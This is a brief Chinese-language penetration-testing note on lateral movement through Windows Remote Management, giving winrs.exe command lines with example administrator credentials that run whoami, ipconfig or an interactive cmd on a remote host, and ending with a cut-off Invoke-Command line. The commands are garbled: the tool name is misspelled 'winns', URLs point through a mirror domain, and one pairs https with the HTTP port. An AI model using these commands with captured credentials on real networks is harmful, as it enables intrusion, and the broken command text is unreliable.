WinRM远程执行命令横向移动
WinRM(Windows远程管理)是Microsoft在Windows中对WS-Management的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包括WinRM)。
WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作。
winrm通过HTTP(5985)或HTTPSSOAP(5986)端口来进行通信。
winrs.exe
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。
winns -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winns -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winns -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winns -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winns -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET